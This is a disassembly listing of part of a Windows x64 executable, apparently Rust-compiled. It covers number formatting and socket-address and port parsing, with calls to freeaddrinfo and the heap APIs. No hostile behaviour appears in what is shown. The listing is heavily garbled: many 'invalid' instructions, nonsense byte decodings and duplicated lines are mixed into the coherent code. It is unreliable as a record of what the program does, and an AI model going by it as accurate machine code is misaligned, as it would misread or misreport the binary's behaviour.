lea r9, [0x14002393a]
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
dec byte [rax - 0x77]
invalid
cmp rdx, 0xa
jae 0x140010810
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
add al, 0x2f
add al, 0x2f
dec rax
jmp 0x140010824
mov r8d, 0x81
mov ecx, 0x30
mov r9, rdx
nop dword [rax]
mov rax, r8
shr r9, 4
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
mov r11d, 0x57
cmovb r11d, ecx
add r11b, r8b
mov byte [rsp + rax + 0x2e], r11b
lea r8, [rax - 1]
cmp rdx, 0x10
mov rdx, r9
jae 0x140010740
jmp case.0x14000f1c1.331
add rax, 0xfffffffffffffffe
cmp rax, 0x80
ja 0x140010863
mov ecx, 0x81
sub rcx, r8
add rax, rsp
add rax, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x140023938]
mov r9d, 2
mov rcx, r10
mov dl, 1
jmp 0x140010852
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400106e2
jmp 0x140010713
lea rcx, [0x14002393a]
movzx ecx, word [rcx + rdx*2]
mov word [rsp + rax + 0x2e], cx
add rax, 0xfffffffffffffffe
test r8, r8
setns dl
lea rcx, [rsp + rax]
add rcx, 0x30
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea r8, [0x1400243a8]
mov rcx, r10
xor r9d, r9d
call fcn.140009440
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
ud2
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rsp + 0xc8], rsi
mov dword [rsp + 0xc8], esi
mov dword [rsp + 0xc8], esi
mov byte [rsp + 0xd0], al
mov byte [rsp + 0xd1], 0
lea r9, [rdi + 0x10]
lea rax, [0x1400103c0]
add eax, 0xfffff816
add byte [rbp + rcx*4 + 0x4f], cl
adc byte [rax - 0x73], cl
invalid
invalid
add eax, 0xfffff816
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400244df]
lea rsi, [rsp + 0xc8]
lea esi, [rsp + 0xc8]
cmp dword [rcx], eax
add byte [rax - 0x73], cl
lea esi, [rsp + 0xc8]
lea esi, [rsp + 0xc8]
add byte [rax], al
add byte [rcx - 0x48], al
mov eax, 4
mov r8d, 4
mov eax, 4
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400099e0
lea rax, [0x1400088b0]
fnstsw word [rdi + rdi*8 - 1]
dec dword [rax - 0x73]
add eax, 0xffff7cdd
fnstsw word [rdi + rdi*8 - 1]
fnstsw word [rdi + rdi*8 - 1]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400244e3]
add al, 0x39
add dword [rax], eax
and byte [rax - 0x73], cl
adc eax, 0x13904
add al, 0x39
add dword [rax], eax
add al, 0x39
add dword [rax], eax
mov r8d, 7
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.1400099e0
cmp byte [rsp + 0xd1], 0
rol dword [rax], 1
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9c
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
invalid
invalid
add byte [rax], al
invalid
inc dword [rax + 0xd124bc]
rol dword [rax], 1
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9c
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
test dword [rcx - 0x17000000], ebp
add byte [rax], al
add cl, ch
add byte [rax], al
add cl, ch
jmp 0x1400113b4
test eax, 0x48000007
lea eax, [rdi - 1]
lea rax, [rdi - 1]
add rdi, 0xf
mov qword [rsp + 0x58], rax
pop rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x138cc
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x138cc
int3
mov r8d, 6
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0xc8], rsi
and al, 0xc8
add byte [rax], al
invalid
sbb byte [rax - 0x77], cl
mov ah, 0x24
and al, 0xc8
add byte [rax], al
invalid
and al, 0xc8
add byte [rax], al
add byte [rax + 0xd02484], cl
add byte [rax], al
mov byte [rsp + 0xd0], al
mov byte [rsp + 0xd1], 0
lea rax, [0x1400103c0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400244df]
lea rsi, [rsp + 0xc8]
mov r8d, 4
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x1400103a0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400244f9]
lea r9, [rsp + 0x58]
mov r8d, 5
mov rcx, rsi
call fcn.1400099e0
cmp byte [rsp + 0xd1], 0
movzx ebx, byte [rsp + 0xd0]
je 0x1400113b4
test bl, bl
mov bl, 1
jne 0x1400113b4
mov rax, qword [rsp + 0xc8]
test byte [rax + 0x34], 4
jne 0x140010dea
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140023931]
mov r8d, 2
jmp 0x1400113ab
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140023930]
jmp 0x1400113a5
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1400113b4
test bl, bl
setne al
add rsp, 0x10c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140011f15
mov rcx, rax
mov qword [0x140030ac8], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140011f15
mov word [rax], bx
mov rcx, r15
shl rcx, 8
movzx edx, dil
or rdx, rcx
shr r15, 0x18
mov word [rax + 6], r15w
mov dword [rax + 2], edx
movq qword [rax + 8], xmm6
pshufd xmm0, xmm6, 0xee
movd dword [rax + 0x10], xmm0
mov dword [rax + 0x14], 0
mov dword [rax + 0x18], r14d
mov word [rax + 0x1c], bp
mov rcx, rax
add rcx, 0x20
mov qword [rsi], rax
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
jmp 0x140011a63
add dword [rax], eax
test rcx, rcx
jne 0x1400116ac
jmp 0x140011693
add byte [rax - 0x48], cl
cmp al, byte [rax]
add byte [rax], al
cmp al, byte [rax]
add byte [rax], al
mov qword [rsp + 0xa8], rax
lea rax, [rdi + 7]
lea eax, [rdi + 7]
lea eax, [rdi + 7]
and rax, 0xfffffffffffffff8
sub rax, rdi
mov cl, 0x3a
mov r14, qword [rsp + 0x98]
movdqa xmm0, xmmword [str.::::::::::::::::]
movq mm0, qword [str.::::::::::::::::]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xor eax, 0x11b56
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xor eax, 0x11b56
mov rdx, rbx
jmp 0x14001194c
mov rdx, r14
cmp r14, rbx
ja 0x140011a49
invalid
add byte [rcx - 0x77], cl
ror byte [rcx - 0x77], 1
ror dword [rax + 0x39], 1
ret 0x1972
mov r8, rdx
mov r9, rdx
cmp rdx, rax
jb 0x140011970
mov r10d, edx
sub r10d, eax
and r10d, 0xf
mov r8, rdx
mov r9, rax
sub r8, r10
jb 0x140011bd2
invalid
add al, byte [rax]
invalid
mov r10, r8
neg r10
mov r15, rdx
nop dword [rax]
invalid
add byte [rax], 0
add byte [rax], al
mov r11, r15
mov r15, r10
add r15, r11
je 0x1400119b0
lea r15, [r11 - 1]
lea edi, [rbx - 1]
cmp byte [rdi + r11 - 1], 0x3a
jne 0x140011980
lea rdx, [r10 + r11]
dec rdx
add rdx, r8
jmp 0x140011a04
sbb cl, byte [rax - 1]
retf 0x14c
invalid
invalid
nop dword [rax + rax]
mov r10, r8
cmp r8, r9
jbe 0x1400119e6
lea r8, [r10 - 0x10]
movdqu xmm1, xmmword [rdi + r10 - 0x10]
movq mm1, qword [rdi + rdx - 0x10]
movq mm1, qword [rdi + rdx - 0x10]
movdqa xmm2, xmm1
pxor xmm2, xmm0
paddq xmm2, xmm6
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
jo 0x1400119a8
out dx, al
jo 0x1400119a8
out dx, al
por xmm2, xmm1
movq r11, xmm2
test r11, r12
je 0x1400119b0
invalid
retf 0x3949
cmp r10, rdx
ja 0x140011bd2
nop
test r10, r10
je 0x140011a49
mov r14, rdx
cmp rdx, rbx
jae 0x140011940
invalid
inc dword [rdx + 0x38]
or al, 0x37
invalid
jne 0x140011940
invalid
lea r13, [r14 + 1]
lea rcx, str.invalid_port_value
sti
xor al, byte [rcx]
add byte [rcx + rbp - 0x15], cl
sti
xor al, byte [rcx]
add byte [rcx + rbp - 0x15], cl
je 0x140011a58
lea r8, [rdi + r14]
inc r8
movzx eax, byte [r8]
mov dh, 0
mov dh, 0
cmp eax, 0x2d
je 0x140011a87
invalid
cmp r8, 0x2b
cmp eax, 0x2b
jne 0x140011a8d
dec rbx
je 0x140011a58
inc r8
jmp 0x140011a8d
invalid
mov qword [rsp + 0x98], r14
lea rcx, str.invalid_socket_address
cwde
xor al, byte [rcx]
invalid
cwde
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x13298
cwde
xor al, byte [rcx]
invalid
cwde
xor al, byte [rcx]
add byte [rax - 0x77], cl
or byte [rax - 0x39], r9b
invalid
mov qword [rsi + 8], rcx
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x200]
movaps xmm7, xmmword [rsp + 0x210]
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x210], bh
add rsp, 0x228
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
cmp rbx, 1
je 0x140011a58
cmp rbx, 5
jae 0x140011b1b
invalid
xor eax, eax
xor r15d, r15d
movzx edx, byte [r8 + rax]
add edx, 0xffffffd0
ret 0x83d0
cli
or dword [rdi - 0x51], esi
add r15d, r15d
lea r15d, [r15 + r15*4]
mov edi, 0x48d70141
inc eax
mov edi, 0x48d70141
inc eax
cmp rbx, rax
jne 0x140011a9c
mov rax, qword [0x140030ad0]
cmp rax, 3
jne 0x140011b9a
invalid
cmp r14, 0x17f
ja 0x140011bac
invalid
lea rbx, [rsp + 0x80]
mov rcx, rbx
mov rdx, rdi
mov r8, r14
call fcn.140013b60
mov byte [rsp + r14 + 0x80], 0
add byte [rax], 0
add byte [rax], al
cmp r14, 0xe
ja 0x140011b61
xor ecx, ecx
leave
cmp byte [rsp + rcx + 0x80], 0
je 0x140011c36
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 1], cl
ror dword [rcx + 0x39], 0xcd
invalid
inc rcx
cmp r13, rcx
invalid
int 0x75
invalid
jne 0x140011b00
jmp 0x140011c90
xor r9d, r9d
mov r10w, 0xa
mov r10d, 0x3145000a
invalid
mov r10d, 0x3145000a
dec dword [rcx + rdi - 0x35]
cmp rbx, r9
cmp rbx, r9
je 0x140011abb
movzx r11d, byte [r8 + r9]
mov eax, r15d
mul r10w
seto dl
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x140011a58
test dl, dl
jne 0x140011a58
mov r15d, eax
inc r9
shl dword [rsi + 0x45], 1
fbstp tbyte [rbx - 0x36]
jmp 0x140011a58
lea rax, [rsp + 0x87]
and rax, 0xfffffffffffffff8
sub rax, rbx
invalid
je 0x140011b92
je 0x140011b92
lea rcx, [r14 - 0xf]
xor eax, eax
shr bl, 0x49
shr bl, 0x49
call fcn.1400220d0
cmp r14, 0x17f
invalid
jg 0x140011ba5
add byte [rax], al
jbe 0x140011ad9
lea rcx, [rsp + 0x58]
mov rdx, rdi
cli
mov r8, r14
mov r9d, r15d
stc
call fcn.140022130
mov rax, qword [rsp + 0x58]
test rax, rax
jne case.0x14000f1c1.411
jmp 0x140011ccc
mov qword [rsp + 0x98], r14
ud2
cmp rcx, r14
jne 0x140011c90
or rax, 2
jmp case.0x1400062be.488
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsp + 0x60], rax
mov eax, 1
add byte [rax], al
test rax, rax
je 0x140011ccc
mov rcx, qword [rsp + 0x60]
jmp 0x140011a58
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140011cfe
movzx ebp, word [rsp + 0x70]
mov r8, qword [rax + 0x20]
mov r15, qword [rax + 0x28]
movzx edx, word [r8]
cmp edx, 0x17
je 0x140011d12
cmp edx, 2
je 0x140011d37
mov rax, r15
test r15, r15
jne 0x140011ce0
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 4
xor ecx, ecx
xor ebx, ebx
jmp 0x140011efa
cmp qword [rax + 0x10], 0x1b
jbe 0x140011f15
movdqu xmm6, xmmword [r8 + 8]
mov r12d, dword [r8 + 4]
mov ebx, dword [r8 + 0x18]
pshufd xmm7, xmm6, 0xf9
mov r13w, 1
jmp 0x140011d58
cmp qword [rax + 0x10], 0xf
jbe 0x140011f15
mov r14d, dword [r8 + 4]
mov eax, r14d
shr eax, 0x10
movd xmm6, eax
pinsrw xmm6, ebp, 1
xor r13d, r13d
mov qword [rsp + 0x50], rcx
movzx eax, byte [0x140030af8]
mov rcx, qword [0x140030ac8]
test rcx, rcx
jne 0x140011d89
mov rdx, r15
mov r9, qword [rdx + 0x20]
mov r15, qword [rdx + 0x28]
movzx r8d, word [r9]
movzx eax, word [rcx]
cmp r8d, 0x17
je 0x140011e26
cmp r8d, 2
je 0x140011e49
cmp qword [rdx + 0x10], 0x1b
jbe 0x140011f15
mov esi, dword [rcx + 4]
mov r12d, dword [r9 + 0x18]
mov di, 1
movdqa xmm7, xmm6
jmp 0x140011e69
cmp rbx, qword [rsp + 0x88]
je 0x140011ec5
pshufd xmm0, xmm6, 0xf9
mov rdx, rbx
shl rdx, 5
mov word [rax + rdx], di
mov word [rax + rdx + 2], r13w
movd dword [rax + rdx + 4], xmm7
pshufd xmm1, xmm0, 0xee
movd dword [rax + rdx + 0x10], xmm1
movq qword [rax + rdx + 8], xmm0
mov dword [rax + rdx + 0x14], r14d
mov dword [rax + rdx + 0x18], r12d
mov word [rax + rdx + 0x1c], bp
inc rbx
mov qword [rsp + 0x90], rbx
test r15, r15
jne 0x140011dfe
jmp 0x140011edf
mov rdx, rbx
call fcn.140022020
lea rcx, [rsp + 0x80]
mov rax, qword [rsp + 0x80]
jmp 0x140011e73
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
shl rbx, 5
add rbx, rax
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rbx
jmp 0x140011a63
ud2